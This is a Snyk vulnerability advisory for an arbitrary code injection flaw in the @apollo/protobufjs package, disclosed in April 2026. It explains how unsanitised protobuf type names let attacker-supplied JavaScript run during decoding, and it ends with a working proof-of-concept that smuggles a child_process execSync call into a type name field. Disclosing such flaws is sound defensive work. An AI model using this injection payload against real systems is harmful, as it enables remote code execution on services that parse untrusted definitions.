Arbitrary Code Injection Affecting @apollo/protobufjs package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-APOLLOPROTOBUFJS-16321047
- published29 Apr 2026
- disclosed16 Apr 2026
- creditCristian-Alexandru Staicu
Introduced: 16 Apr 2026
NewCVE-2026-41242 (opens in a new tab)How to fix?
There is no fixed version for @apollo/protobufjs.
Overview
@apollo/protobufjs is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google
Affected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's name field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.
Notes:
- The vulnerability was introduced during the migration to codegen 2 where sanitization of the type name was modified.
- Additional security measures were introduced in
@protobufjs/codegen@2.0.5, which could hinder exploitation on vulnerable versions.
PoC
const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X","id":2}}},"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
const user = UserType.decode(userBytes);
} catch (e) {}```